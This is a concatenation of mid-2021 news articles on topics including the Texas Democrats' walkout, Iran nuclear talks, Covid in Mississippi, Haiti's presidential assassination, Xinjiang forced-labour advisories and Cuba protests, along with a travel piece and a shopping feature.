Abbott, who ordered lawmakers back for a special legislative session to pass the elections bill and other GOP priorities, accused Democratic members this week of "abandoning" the state Capitol and leaving work unfinished.

Texas Gov. Greg Abbott speaks at a news conference in Austin. Abbott has ordered lawmakers back to work in July and has yet to lay out an agenda, though its widely expected legislators will be told to focus on tightening voting restrictions.

"The Democrats must put aside partisan political games and get back to the job they were elected to do," he said in a statement. "Their constituents must not be denied these important resources simply because their elected representative refused to show up to work."

But Minnesota Democratic Sen. Amy Klobuchar hailed the group as heroes while casting the Texas Republicans as villains.

I wish they would be spending this much time making it easier for people to vote than they are going after their colleagues," she said. "These legislators are here as freedom fighters. They have come to the place where they're supposed to get salvation."

Klobuchar, who chairs the Senate Rules Committee, is holding a hearing Monday in Georgia to examine many of the same voting rights issues that are the subject of the proposed Texas restrictions. She said it only make sense that Democrats who feel helpless to stop what's happening in their states would come to the nation's capital for help.

"I think the best analogy is in the 1960s when there was a concerted effort to suppress people's right to vote, and the federal government responded, or when there was concerted efforts to discriminate on housing and on education. It was the federal government that responded," she said. "And that's all they're asking for now and that's why they're here."

Contributing: Madlin Mekelburg, Austin American-Statesman

This article originally appeared on USA TODAY: Texas Democrats walk out: lawmaker boycotts haven't resulted in arrest
ANKARA (Reuters) - Turkey and Israel have agreed to work towards improving their strained relations after a rare phone call between their presidents, a spokesman for Turkey's ruling AK Party said on Wednesday.

The two countries expelled ambassadors in 2018 after a bitter falling-out. Ankara has condemned Israel's occupation of the West Bank and its treatment of Palestinians, while Israel has called on Turkey to drop support for the militant Palestinian group Hamas which rules Gaza.

Both sides say the other must move first for any rapprochement.

President Tayyip Erdogan called Israel's new president, Isaac Herzog, on Monday to congratulate him on taking office. Israel's presidency is a largely ceremonial office.

"A framework emerged after this call under which advances should be made on several issues where improvements can be made, and where steps towards solving problematic areas should be taken," spokesman Omer Celik said after an AK Party meeting.

Celik singled out the Palestinians as one of many issues Turkey wants to discuss with Israel, adding that areas such as tourism and trade should be a "win-win" for both nations. Bilateral trade has remained strong amid the political disputes.

During the call, which came a day after Palestinian President Mahmoud Abbas visited Ankara, Erdogan told Herzog he valued maintaining dialogue and said Turkish-Israeli relations were key for regional stability.

Erdogan also reiterated his support for a two-state solution to the Israeli-Palestinian conflict, adding "positive steps" would also help Turkey's ties with Israel, his office said.

In May, Erdogan called Israel a "terror state" after Israeli police shot rubber bullets and stun grenades towards Palestinian youths at Jerusalem's Al-Aqsa mosque.

Israel accuses Turkey of aiding members of Hamas, which is considered a terrorist organisation by Israel and its Western allies.

Turkey has also recently been trying to repair its frayed ties with Saudi Arabia and Egypt.

Monday's call came a month after Naftali Bennett became Israeli prime minister, replacing Benjamin Netanyahu, with whom Erdogan had frequently traded barbs.

(Reporting by Tuvan Gumrukcu and Daren Butler; Editing by Gareth Jones)
Children have been cared for in the ICU. (AFP via Getty Images)

State health officials in Mississippi have issued a warning about the hospitalisation rates of children with Covid-19 as the Delta variant soars.

Thomas Dobbs, the State Health Officer, said on Twitter that there are currently seven children with coronavirus in the ICU. Two of those are on ventilators.

Along with information about the number of children requiring serious care, the update read, Please be safe and if you are 12 or older  please protect yourself.

All people aged 12 years and over are able to get a free coronavirus vaccine in the state, however, uptake has been low in Mississippi.

Initially, Dr Dobbs had said there were 12 children in the Intensive Care Unit, however, he has since deleted that message after a hospital corrected its numbers. However, he promised an update would be coming later.

And we will certainly provide more details tomorrow, he wrote after correcting the error.

No information was provided about the childrens age, vaccine eligibility or whether they had any known pre-existing conditions.

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Children are believed to suffer fewer complications with Covid-19 compared to adults. Symptoms, if they display at all, are believed to be minimal, according to the Centers for Disease Control and Prevention. Despite this, some children have developed life-threatening cases of the virus.

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Dr Alan Jones, an associate vice chair for clinical trials at the University of Mississippi Medical Centre, gave more information about their experience with treating children in the ICU. He confirmed that his hospital was caring for four children, two of whom were on ventilators.

He told WAPT, We have had more paediatric admissions than we had early in the pandemic.

On 9 July, Dr Dodds explained at a press conference that the state has been experiencing a pretty alarming rise in the amount of cases of coronavirus and those being admitted to hospital with Covid. He attributed the rise to the Delta variant, which was first identified in India in early this year.

Story continues

We have seen pretty much an entire takeover of the Delta variant for our transmissions, he told reporters, explaining they were pretty much all Delta.

He stated that the hospitals were able to cope with the rise in cases, but they were concerned about the future based on what was happening in other states. In three weeks, hospital admissions have increased by 26.7 per cent in Mississippi. Dr Dobbs outlined that the rise in cases has been seen mainly in young people.

As of 13 July, 275 people have been hospitalised with coronavirus. Three weeks ago, it was roughly 100 people.

Mississippi has the second lowest rate of vaccination uptake in the whole country. It is estimated by the CDC that only a third of the state is fully vaccinated against coronavirus. According to Dr Dobbs, unvaccinated people make up the vast majority of cases, hospitalisations and deaths.

Reasons for the low levels of vaccination are vast and varied. Following his failure to get 70 per cent of the population vaccinated against the disease, President Joe Biden has been thinking of new and creative ways to get the jab into peoples arms, such as getting grassroots volunteers going door to door.

But the real thing is, we have a lot more vulnerability than we should, Dr Dobbs said at the press conference. We are way under vaccinated as a state. We have a vast pool of unimmunised people who are a perfect breeding ground for Delta variant, and its gonna kill folks. And its already killing folks.

Due to these numbers, those aged 65 and over and those who have underlying health conditions are advised not to attend indoor mass gatherings for a while.

Our collective under-vaccination in the state has put us all at risk, especially the most vulnerable, Dr Dobbs said.

Last week, Dr Rachel Walensky, a director at the CDC, said at a news briefing that preliminary data showed that 99.5 per cent of Covid-related deaths were in unvaccinated people.

Since the start of the pandemic in March 2020, over 607,000 people have died due to coronavirus in the US. Over 4 million people have died across the world.

Read More

UK Covid-19 vaccinations: Latest figures

Universal credit cut set to leave millions with less than half of acceptable living standards income

UN: world hunger was dramatically worse in pandemic year
Two men accused of kidnapping a well-known Minnesota real estate agent and then torturing her in the back a U-Haul before shooting her dead in 2019 have been handed life sentences without the possibility of parole in the twisted murder case involving her rapper boyfriend.

Cedric Berry and Berry Davis will spend the rest of their lives behind bars for the brutal slaying of Monique Baugh, a respected member of her community and 28-year-old mother of two, according to a statement from the Hennepin County Attorneys Office. A jury last month found the pair guilty on all counts brought against them, including first-degree premeditated murder.

Berry and Davis were also convicted on a kidnapping charge for which Berry received 158 months with 557 days credit for time served, and Davis received 161 months with 449 days for time served, according to the statement. They were additionally convicted of attempted second-degree murder for trying to kill Baughs boyfriend, a prominent local rapper known as Momoh.

According to investigators, Baugh was lured to a phony home showing on Dec. 31, 2019 in Maple Grove, where she was snatched by the two mask-wearing suspects. Prosecutors said they spent hours questioning her about her boyfriend, before eventually shooting her in the head, and then leaving her body in a Minneapolis alleyway.

From there, Berry and Davis used Baughs keys enter the home she and Momoh shared with their two daughters and then opened fire. The Minnesota performer was struck several times in the explosion of gunfire, but he and his young children survived the attack. When police responded to the home, they found Momoh covered in blood, his two girls, ages 1 and 3, by his side.

Monique did not have to die, her mother, Wanda Williams, said in her victim impact statement. They did not have to throw her out like garbage. My baby was so precious to me, so precious to so many, so valuable. How dare they?
WASHINGTON (Reuters) - The United States will continue nuclear talks with Iran, the White House said on Wednesday, after an Iranian plot to kidnap a U.S.-based journalist was made public.

A U.S. Justice Department indictment unsealed on Tuesday showed prosecutors have charged four Iranians in a kidnapping plot of the journalist. The White House condemns the plot, press secretary Jen Psaki said.

(Reporting by Heather Timmons; Editing by Chris Reese)
Outgoing Iranian Foreign Minister Mohammad Javad Zarif wrote in a report to parliament that the Biden administration has agreed to lift almost all U.S. sanctions on Iran to secure a mutual return to the 2015 nuclear deal.

Why it matters: The report includes details that hadn't been made public before now and is the most official and comprehensive Iranian account of the status of the indirect talks with the U.S.

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The Farsi-language document also serves as Zarif's "political will" for the incoming hard-line administration.

The other side: A State Department spokesperson told Axios that Zarif's sanctions claims had been raised as priorities by Iran in Vienna, but that no final understandings had been reached and nothing is agreed until everything is agreed."

According to Zarif's report, Biden is prepared to remove not only the sanctions reimposed by former President Donald Trump when he withdrew from the deal, but also most of the sanctions Trump later imposed under his "maximum pressure" strategy.

Those include the terror designation of Iran's Islamic Revolutionary Guards Corps and sanctions against Supreme Leader Ayatollah Ali Khamenei.

According to the report, more than 1,000 Iranian individuals and entities would be removed from the sanctions list and many secondary sanctions that make it difficult for U.S. companies to do business in Iran would also be withdrawn.

The lengthy report does briefly note that some U.S. sanctions would remain in place even after a deal was reached, including on at least one Iranian bank and some metal and shipping companies.

The U.S. has also not agreed to lift non-nuclear sanctions that predate Trump on issues like terrorism, ballistic missiles development and human rights violations, per the report.

Zarif's report also covered the steps Iran would have to take to reach a deal, including implementing the additional protocol that allows stricter UN nuclear inspections, redesigning the Arak Heavy Water Reactor, limiting enrichment to 3.67% and turning over more than 300 kg of uranium enriched beyond that level.

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In the case of a deal, Iran would put its more advanced IR-2m, IR-4 and IR-6 centrifuges into storage and use no more than 6,104 older IR-1 centrifuges.

But crucially, the most advanced centrifuges would remain in Iran rather than being shipped out or destroyed, according to the report, and research and development on advanced centrifuges would continue.

Zarif also notes that if Iran resumes compliance, its nuclear limitations will start to dial down in just four years.

What he's saying: Iran has proved it can revive its nuclear program very quickly if it needs to, sometimes even in less than a day," Zarif writes.

He rejects the false accusations against him from opponents of the deal in Tehran and says his negotiating team made exhausting and breathtaking efforts and sweated blood to protect Irans interests.

Between the lines: Zarif is a longtime advocate of diplomacy on the nuclear issue, and his report stresses what Iran stands to gain from a deal while downplaying any Iranian concessions.

In it, Zarif urges members of parliament and the new government to show pragmatism and make compromises rather than playing to public opinion. No agreement is perfect for either party," he writes, and "maximalism leads only to erosive and endless negotiations."

Reaching an agreement requires courage and willingness to prioritize national interests over personal interests."

Mohammad Javad Zarif in a report to Iran's parliament

Whats next: Zarif writes that a framework of possible agreement had been reached and he hopes what has been achieved so far will be completed in the beginning of the incoming Iranian government."

The State Department spokesperson said the precise nature and sequence of the sanctions-related steps hadn't been agreed to, and the U.S. will "not negotiate this in the press no matter what Iran says at home."

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By Mark Hosenball

WASHINGTON (Reuters) - U.S. investigators are studying the backgrounds of Colombian mercenaries accused of assassinating Haiti's president last week to see if any of them had past ties to U.S. government agencies, a U.S. source familiar with the investigation said.

Seventeen Colombians and two Haitian-Americans were arrested last week by Haitian authorities and accused of shooting President Jovenel Moise dead in his home, an event that further destabilized the poor Caribbean nation.

The source said that so far U.S. investigators have not found hard evidence of any connections between the Colombian suspects, who include former members of the Colombian military, and the U.S. government. But they believe some evidence of links are likely to turn up.

One of the two Haitian-American men arrested and accused of taking part in the assassination was a former informant for the U.S. Drug Enforcement Administration, the DEA said on Monday. Two U.S. government sources identified him as Joseph Vincent, 55, of Florida.

Vincent and the other Haitian-American man accused of joining the assassination, James Solages, 35, told a source they acted as interpreters.

Meanwhile, court documents and a defense lawyer said that a Haitian living in Florida who Haitian investigators want to talk to about Moise's murder cooperated with the DEA in a large-scale drug trafficking investigation.

Rodolphe Jaar, who was jailed by U.S. federal authorities in 2015 for his alleged role in a conspiracy to smuggle cocaine via Haiti, is the subject of a wanted poster which Haitian police issued related to the assassination.

Documents filed in Federal court in Miami, Florida, allege that Jaar "conspired to have a portion of a 420 kilogram cocaine load that arrived in Haiti," from Colombia or Venezuela in February 2012 and was ultimately headed for the United States set aside "for his personal gain/interest."

At a sentencing hearing in 2014, a federal prosecutor told the court that Jaar "was cooperating with the DEA at the time of the offense, making them aware of a drug shipment that was coming into Haiti", and that "because of his efforts" the DEA was able to seize more than half of the drugs and make an arrest. Prosecutors recommended a reduced prison sentence for Jaar due to his cooperation.

A third Haitian-American, Christian Emmanuel Sanon, was arrested on Sunday by Haitian authorities, who accused him of being a mastermind of the attack.

(Reporting By Mark Hosenball; Editing by Scott Malone and Marguerita Choy)
The UK government on Wednesday promised a statute of limitations to end prosecutions over past unrest in Northern Ireland, angering families of victims on both sides of "The Troubles" and the government in Dublin.

The legislation, to be introduced later this year, will effectively give amnesty to both British security personnel and paramilitaries over prosecutions relating to the decades' long conflict, which ended in a 1998 peace deal.

Northern Ireland Secretary Brandon Lewis said it would apply to "all Troubles-related incidents", and was needed as current prosecutions were "far from helping, and are in fact impeding, reconciliation" in the British-run province.

He accepted the move, defended by Prime Minister Boris Johnson as needed to help Northern Ireland move forward, would be difficult for the families of victims.

But he told parliament the new measures would "provide certainty" to veterans and other members of the security forces fearful of being subject to investigations about their actions in Northern Ireland, even if they were lawful.

Former soldiers, veterans groups and their supporters have been sharply critical of prosecutions of so-called legacy cases, with defendants now well into old age, and evidence from the time sketchy or now deemed legally unreliable.

- 'Bad faith' -

The widely trailed announcement sparked fury in Northern Ireland, which was riven for three decades by violence over British rule between Protestant pro-UK unionists and Catholic nationalists favouring union with Ireland.

John Teggart, whose father was one of 10 people killed during unrest in the Ballymurphy area of west Belfast in 1971, said London's proposal was a "cynical... plan to bury its war crime".

A coroner in May concluded that British soldiers used "clearly disproportionate" force against "entirely innocent" protesters in the nationalist area, and were not justified in using lethal force.

Story continues

Teggart said families were being "traumatised" anew over the prospect of the amnesty.

In Dublin, Irish prime minister Micheal Martin called the proposals "wrong for many, many reasons".

"I don't believe in a general amnesty for those who committed murder, whether they were state actors, or whether they were involved in terrorist or illegal organisations," he told the Irish parliament.

Mary Lou McDonald, the leader of Sinn Fein which was for years seen as the political wing of paramilitaries the Irish Republican Army, said it was "an act of absolute bad faith by the British government".

The leader of the pro-UK Democratic Unionist Party, Jeffrey Donaldson, called the move "offensive".

"There can be no equivalence between the soldier and police officer who served their country and those cowardly terrorists who hid behind masks and terrorised under the cover of darkness," he said.

Amnesty International Northern Ireland campaign manager Grainne Teggart said the government proposal "debases natural justice".

"The UK government is showing an appalling and offensive disregard for victims; grossly dismissing their suffering and rights to truth, justice and accountability," she said.

- Lingering anger -

Prosecutions from "The Troubles" remain flashpoints for sectarian anger in Northern Ireland, which is still split along sectarian and religious lines.

Earlier this month the prosecution was dropped of two British ex-soldiers accused of killing Irish republicans at the height of the conflict.

One of the killings was on "Bloody Sunday", when British troops shot dead 14 Catholic republican protesters on a civil rights march in January 1972.

Families of some of the 3,500 victims of The Troubles have repeatedly said prosecutions are needed for them to have closure.

In a letter earlier this month, the largest victims' support group in Northern Ireland, the WAVE Trauma Centre, expressed "grave concern" over the plans.

"The majority of victims and survivors are only too aware that the chances of securing a conviction for crimes that are decades old are beyond remote," they wrote.

"But to deny them even that possibility by perverting the criminal justice system cannot be right in a country that prides itself on adherence to the rule of law."

csp-jts/phz/jxb
Rumble

The mighty Fraser River in British Columbia is one of Canada's largest rivers. With a massive water flow and a width that reaches 50km at the mouth, it dumps water into the ocean at a rate that is more than double the entire flow of the Niagara Falls. As one of the natural wonders of the world, Niagara Falls leaves any visitor in complete awe at the sheer power and force of the river, and yet the Fraser River easily tops this in many respects. There is a narrow canyon pass on the Fraser, aptly named "Hell's Gate". One look at the raging torrent and the steep, sloping walls of the canyon leaves no doubt as to why this name was chosen. The depth of this section of river is an astonishing 64m (211 feet), carved by thousands of years of water erosion. Early explorers tried to navigate this part of the river and they deemed it so treacherous that it must be the gates of hell. It was deemed impassable for boats of any kind. Even getting around the canyon on foot was a monumental task. Salmon had used this river for many centuries to migrate to their spawning grounds in the head waters above. They could manage the water flow through this narrow cut, although they stopped to rest in the eddies before their struggle to get pas the rapids. This made it ideal fishing grounds for Indigenous people who relied on salmon for their livelihood. European settlers also congregated here and fished in the narrows for their food supply. A gold rush brought even more settlers and the area became a fur trade corridor. It was a prosperous arrangement for all concerned at the time. The increase in activity brought with it the construction of a railroad in the 1880s. A second line construction began in 1911 and a tunnel was cut into the rock face. Disaster struck when a massive rock slide filled the canyon enough to raise the river bottom 5m (15 feet). This increased the water speed from 5m/s (18km/h, 11mph) to 6.75m/s (24km/h, 15mph). The increase in speed and turbulence caused the salmon to perish due to exhaustion in their attempt to swim through. Many simply didn't make the attempt. This devastated the fish populations and the entire fishing industry. Attempts were made to remove debris but the effect was not significant. In 1946, fishways were created at various depths, providing the salmon with tunnels that helped them circumvent the most turbulent sections of Hell's Gate. The salmon population rapidly recovered, as did the fishing industry. The fishways are a marvel of engineering and an undeniable success. The 1.5 million dollars spent on the project was a small price to pay for the ecological and financial value of the salmon. Hell's Gate is an impressive sight and it is not surprising that the area has become a popular tourist attraction. The history and the magnificence of the gorge make this a place to spend a day while visiting British Columbia.
The United Nations announced Tuesday plans to form a panel of experts to examine the root causes and effects of systemic racism in policing around the world, including the legacies of slavery and colonialism, the New York Times reports.

Why it matters: The move follows a year of heightened attention on police brutality against Black people, and comes after a UN human rights report detailed the need for reparatory justice and accountability.

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Details: The panel, comprised of three experts in law enforcement and human rights, is expected have a three-year mandate for its investigation and to make recommendations for actionable change.

The other side: Britain and other former European colonial powers pushed back against the proposed panel, arguing that several UN entities are already responding to societal problems related to race and that colonialism-focused probes could divert attention from addressing contemporary racism.

Between the lines: "Civil rights groups see the resolution as a litmus test of the Biden administrations readiness to follow through on campaign promises to tackle racism and how it will engage with the human rights council," the Times writes.

Worth noting: The investigation is the result of a resolution by African countries following UN findings that described systemic barriers to education, health care, employment, housing, clean water, political participation and other fundamental rights.

"[A] main part of the problem is that many people believe the misconceptions that the abolition of slavery, the end of the transatlantic trade and colonialism have removed the racially discriminatory structures built by those practices; [but] we found that this is not true," the UN Human Rights Offices Mona Rishmawi said in a statement when the report was released in June.

For people of African descent, these legacies are "a part of their daily life and the daily reality of dehumanization, marginalization and denial of their rights."

The big picture: Protests in response to George Floyd's killing in Minneapolis last May triggered mass demonstrations around the world.

What to watch: Democrats and Republicans in the U.S. are working on a police reform bill.

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A US court on Tuesday dismissed a $95 million defamation lawsuit filed by Roy Moore, a former Alabama chief justice, against British comedian Sacha Baron Cohen for his depiction of the politician in his show "Who is America."

The court for the Southern District of New York threw the case out on grounds that Moore had signed a waiver before the interview with Baron Cohen, who was pretending to be an Israeli anti-terrorism expert who used what he claimed was a pedophile detection device invented by the Israeli army.

During the satirical segment, the fake detector started beeping when Baron Cohen's character waved it near Moore. Moore had been expecting to receive a prize for his support of Israel.

Moore lost a special election for the US Senate in 2017 after reports emerged that he had tried to seduce teenage girls when he was in his 30s. Some of the women accused him of sexual misconduct. Moore, who twice served as chief justice of Alabama's supreme court, denied the claims.

Moore, 74, said he had been defamed by the segment and that he and his wife suffered emotional distress.

The couple were seeking $95 million in damages from Baron Cohen -- best known for his movie character Borat -- and Showtime.

Judge John Cronan said that Moore's waiver, and the fact that the segment was "clearly a joke," served as grounds for dismissal.

jh/dw
Security guards stand at the gates of what is officially known as a vocational skills education centre in Huocheng County. Thomas Peter/Reuters

The US warned that companies with investment or supply-chain ties to Xinjiang can face legal risks.

China has been accused of committing genocide and crimes against humanity in Xinjiang.

Major US companies have been accused of sourcing cotton and product components in the region.

See more stories on Insider's business page.

The US on Tuesday cautioned that companies that invest, provide venture capital, or have supply-chain ties to the Xinjiang region of China "run a high risk of violating U.S. law," due to widespread reports of forced labor and other human rights violations against ethnic minorities in the region.

The US has accused China of committing genocide and crimes against humanity in Xinjiang, citing the arbitrary mass detention of mostly Muslim ethnic groups in the region in what the Chinese government calls "re-education camps." The government has also forcibly sterilized, tortured, and sexually abused ethnic minority prisoners in these camps, according to former detainees.

Companies who don't pull out of the region could violate statutes that criminalize benefitting from or importing goods that are the result of forced labor. The advisory also warned US companies against assisting in the development of surveillance tools for Xinjiang or supplying US-made goods to entities that use forced labor.

In 2020, activist groups accused some of the world's biggest fashion brands - including Nike and H&M - of sourcing cotton from factories that exploit the forced labor of Uyghurs and other ethnic minorities. Over a million ethnic minorities have been detained in Xinjiang, a region that produces a fifth of world's cotton, and activist groups have called for companies to exit the region to avoid profiting from human rights violations in the area.

Nike stated that it doesn't source products, textiles and yarn from Xinjiang, and H&M stated that it was concerned about the accusations of forced labor involved in Xinjiang cotton production.

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In May, Apple suppliers were linked to forced labor in the Xinjiang region, with reports that thousands of detained Uyghurs were used to manufacture components for Apple devices. Apple previously denied exploiting forced labor in Xinjiang.

In 2020, Apple and Nike, among other companies, also lobbied to weaken the Uyghur Forced Labor Prevention Act that would ban US companies from importing goods made in Xinjiang unless they could prove they weren't made with forced labor.

According to Reuters, the US may impose additional sanctions on China and may extend a similar business advisory to Hong Kong.

Read the original article on Business Insider
Uyghurs have been detained at camps where allegations of torture, forced labour and sexual abuse have emerged

The US has issued a tough new warning to companies about doing business in China's Xinjiang province.

American firms that still have supply chain and investment ties in the region were told they "could run a high risk of violating US law."

Washington cited evidence of genocide and other human rights abuses in Xinjiang.

China has denied previous allegations that the region's Uyghur population has been subjected to human rights abuses.

The Xinjiang Supply Chain Business Advisory was published jointly by the State Department, Treasury, Commerce, Homeland Security, Labor and the Office of the US Trade Representative.

"Businesses and individuals that do not exit supply chains, ventures, and/or investments connected to Xinjiang could run a high risk of violating US law," said the updated advisory, which was first released in July last year.

In a press statement, Secretary of State Antony Blinken said the document noted that the Chinese "government is perpetrating genocide and crimes against humanity in Xinjiang".

The announcement comes as Western governments harden their stance over companies operating in the north-western region of China.

On Friday, the Biden administration added 14 Chinese firms and other entities to its economic blacklist over alleged human rights abuses and surveillance in Xinjiang.

Earlier this month, French authorities opened a "crimes against humanity" probe into four fashion brands.

Uniqlo, Zara-owner Inditex and French textile firm SMCP deny the claims, while Skechers declined to comment.

The move came after complaints from the European Uyghur Institute and other pressure groups that the retailers were profiting from the use of forced labour.

The Xinjiang region produces 85% of China's cotton and accounts for about a fifth of global supplies.

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Uyghurs have been detained at camps where allegations of torture, forced labour and sexual abuse have emerged. China has denied these claims saying the camps are "re-education" facilities aimed at lifting Uyghurs out of poverty.

Read more: Who are the Uyghurs?

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The United States on Wednesday warned Egypt not to target rights campaigners after a prominent activist was indicted, saying the issue would be a factor in arms sales to the ally.

Hossam Bahgat, executive director of the Egyptian Initiative for Personal Rights, said this week that prosecutors indicted him and that his trial would start on September 7 on charges related to his use of social media, including a tweet that criticized election authorities.

State Department spokesman Ned Price said that the United States was "concerned" by the indictment and the continued detention of other member of civil society, academics and journalists.

"We've communicated to the Egyptian government our strong belief that individuals such as Hossam Bahgat should not be targeted for expressing their views peacefully," Price told reporters.

Asked if the issue would affect a major arms package for Egypt that is under consideration, Price declined to discuss funding but said: "Human rights across the board is something we look at very closely in making those decisions."

President Joe Biden as a candidate vowed that there would be no more "blank checks" for Egyptian President Abdel Fattah al-Sisi, who formed a close alliance with Biden's predecessor Donald Trump.

But Secretary of State Antony Blinken in May visited and praised Sisi for helping bring a truce that halted bloodshed between Israel and Palestinian militants Hamas.

Sisi, a former army chief, took power in 2013 and has launched a sweeping crackdown on dissent, with rights groups estimating that Egypt holds about 60,000 political prisoners.

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Want more summer fashion, shopper-approved buys and the hottest trends? Sign up for Yahoo Lifestyle Canadas newsletter!

Vanessa Hudgens stepped out in a pair of platform crocs. Images via REUTERS/Mario Anzuoni, Nordstrom.

Yahoo Lifestyle Canada is committed to finding you the best products at the best prices. We may receive a share from purchases made via links on this page. Pricing and availability are subject to change.

Vanessa Hudgens has always embraced bold patterns and unconventional style when it comes to fashion, and her latest footwear choice is no different.

While enjoying a gondola ride last week alongside her boyfriend, Pittsburgh Pirates Cole Tucker and friends, The Princess Switch actress opted for a unique pair of bright white platform Crocs.

Hudgens joins the likes of Justin and Hailey Bieber, Gwen Stefani and Priyanka Chopra, who have all playfully showcased their love of Crocs in recent months.

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For the outing, Hudgens paired the Classic Bae Platform Clogs (shop in Canada here, shop in U.S. here) with a $180 red silk dress from Realisation Par, making for an unexpected outfit combo.

Classic Bae Platform Clog. Image via Nordstrom.

SHOP IT IN CANADA: Crocs, $75

SHOP IT IN U.S.: Nordstrom, $60

Its clear that shes a big fan of the style, as the former High School Musical star has been rocking her platform Crocs on several occasions over the past few weeks.

Whether shes pairing them with date night-ready dresses or casual outfits, the chunky shoe has become a wardrobe staple for the 32-year-old.

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It appears that Hudgens is one of many who cant get enough of the Classic Bae Platform Clogs, as shoppers are also in on the action this season. Despite only having received a handful of customer reviews on the Nordstrom website, theyve racked up nearly 1,500 5-star reviews on the Crocs website.

These. Are. Awesome! Not as wide as traditional classics and SO supportive! They are such a cool 90s throwback to platform sneakers, reads one five-star review.

Shoppers have also been loving the style as a more affordable way to recreate the look of the collaboration between Crocs and Balenciaga that went viral in 2017.

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First of all, these are awesome! They look really similar to a designer collab Crocs did a while back for literally a fraction of the price. Such a great addition to your wardrobe, and of course super comfy, one shopper said.

Shoppers have noted that these shoes do run slightly small, as they have a more narrow fit than classic Crocs. Since they are only available in full sizes, youll want to stick with one size up if youre in-between sizes.

If youre looking to try out these clogs for yourself, youll want to act quickly because theyre already starting to sell out in certain sizes! If youd rather stick with the classics though, you can shop more top-rated Crocs below.

Crocs Classic Clog. Image via Nordstrom.

SHOP IT: Nordstrom, $45

Classic Crocs Sandal

SHOP IT: Nordstrom, $30

Crocs Classic Prismatic Clog. Image via Nordstrom.

SHOP IT: Nordstrom, $55

Crocs Classic Slide Sandal. Image via Nordstrom.

SHOP IT: Nordstrom, $25

Crocs Classic Print Waterproof Clog. Image via Nordstrom.

SHOP IT: Nordstrom, $55

Let us know what you think by commenting below and tweeting @YahooStyleCA! Follow us on Twitter and Instagram and sign up for our newsletter.
Vietnam is looking to increase control over livestreaming on popular social media platforms such as Facebook and YouTube, according to a draft government decree, as the country aims to tighten its grip on cyberspace.

The proposed decree comes two years after the introduction of a cybersecurity law that mandated internet companies remove content the communist authorities regard as "toxic".

The law received sharp criticism from the United States, European Union and internet freedom advocates who said it mimics China's repressive censorship of the internet.

Under the terms of the decree, any account that operates on a social media platform in Vietnam and has more than 10,000 followers must provide contact information to authorities.

Only registered accounts will be allowed to livestream.

The proposed decree also says that social media providers must temporarily block or remove content within 24 hours if they receive a "justified" complaint from an individual or organisation affected by the content.

Vietnam's Ministry of Information and Communications estimates that Facebook has 65 million Vietnamese members, YouTube has 60 million and TikTok 20 million, while local platform Zalo has 60 million users.

"These cross-border social networks have not fully complied with Vietnamese laws," it said, adding that current regulations were inadequate.

"Many individuals and organisations take advantage of social media for press activities, and broadcast livestreams to provide false information, and insult the reputation and dignity of other organisations and individuals."

The draft decree is set to take effect after public feedback and approval by Prime Minister Pham Minh Chinh.

Vietnam's hardline administration generally moves swiftly to stamp out dissent and arrest critics, especially those who find an audience on social media platforms.

Earlier this month, Pham Chi Thanh, a former radio journalist and democracy activist fiercely critical of the regime on Facebook, was imprisoned for five and a half years on the charge of "making, hoarding, disseminating and spreading information and documents against the socialist republic of Vietnam".

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DOHA, Qatar (AP)  Almost all of the athletes from the refugee Olympic team have had their arrival at the Tokyo Games delayed after a team official tested positive for the coronavirus.

Twenty-six refugee athletes from around the world will stay and train in Qatar, where they had been attending a welcome experience before a planned departure to Tokyo, the International Olympic Committee said Wednesday.

The unidentified official who tested positive was put into isolation by Qatari authorities. The other athletes and officials have tested negative.

As a consequence, it was decided that the team would currently not travel to Tokyo and will continue their training in Doha while being tested daily," the IOC said. "The IOC, in cooperation with the Qatar Olympic Committee, is supporting the team and evaluating the situation. The next steps will be communicated once they are decided.

Its not yet clear when they will head to Japan.

Three other refugee athletes weren't at the event in Qatar and can travel independently, the IOC said.

The refugee team was created by the IOC for the 2016 Olympics to allow athletes to keep competing even if they have been forced to leave their home country. It had 10 athletes at the Rio de Janeiro Games and is set to include 29 athletes this time in Tokyo.

Tokyo reported its highest number of new COVID-19 cases in almost six months on Wednesday.

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More AP Olympics: https://apnews.com/hub/olympic-games and https://twitter.com/AP_Sports
A protest broke out in Tampa, Florida, on Tuesday in support of the anti-government protesters in Cuba and participants appealed to the Biden administration to take a firmer stance on the crackdown in Havana.

"Where is Biden?" the protesters chanted, according to Fox 13 News. "Where is Biden?"

Protests have broken out across the state and this particular rally resulted in three arrests after the protesters blocked traffic on Dale Mabry Highway and forced the partial closure of Interstate 275. The demonstrators yelled, "Cuba Libre!"

A SPARK HAS BEEN LIT

The report said two men face charges of battery on an officer and resisting arrest, another faces charges of resisting arrest.

The Biden administration has said it stands by the people of Cuba who demand basic human rights. President Biden called the protests "remarkable" and a "clarion call for freedom."

Secretary of State Antony Blinken tweeted that the U.S. "stands with the Cuban people seeking freedom and respect for their human rights." He called the violence against peaceful protestors "abhorrent."

The White House did not immediately respond to an after-hours email from Fox News. Jen Psaki, the White House press secretary, said the administration is considering how it could be "helpful directly to the people of Cuba."

Sen. Marco Rubio, R-Florida, said the Biden administration can impose new sanctions, open up satellite Internet access on the island and "issue a clear and unambiguous statement that the current U.S. policies towards the regime implemented by the Trump administration will remain in place," according to the Washington Post.

The Cuban government has blamed those U.S. policies for the economic hardship faced in the country.

Thousands of Cubans took to the streets in Havana on Sunday to lash out at the worsening conditions in the country under the communist regime  the biggest protest in decades  prompting the countrys president to call on "revolutionary" citizens to counter the protesters.

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The Miami Herald reported that some Democrats in South Florida want Biden to deliver a clear message of support to the protesters in Cuba from Miami and compared the moment to Ronald Reagan's Tear Down this wall speech.

"I really believe this is one of those moments, I put it up with the moment of Mr. Gorbachev, tear down this wall because I do believe we can give the hope to the people in Cuba," state Sen. Annette Taddeo, a Democrat, told the Herald. "Its really about the people in Cuba who need to hear it. The words of the president of the U.S., be it Republican or Democrat, should matter."

The Associated Press contributed to this report
Iranian intelligence officials were arrested after attempting to abduct journalist Masih Alinejad. (Photo by Jemal Countess/Getty Images) (Getty Images)

White House Press Secretary Jennifer Psaki condemned an alleged attempt by Iranian intelligence officials to kidnap an American journalist and activist and ship her to Venezuela.

While Ms Psaki said it was a legal matter and the White House would not weigh in on specifics, she did criticize the alleged act.

Overall though, we categorically condemn Irans dangerous and despicable reported plot to kidnap a US citizen on US soil, she said. We will forcefully defend US citizens and US interests. That includes law enforcement actions like the one announced yesterday, as well as the actions the president has taken to defend US forces in the region from Iranian-backed militant groups.

The words came after a New York federal court unsealed the indictments of four Iranian intelligence officials and one California resident also from Iran charged with conspiracies to kidnap a US journalist and human rights activist.
By Steve Holland

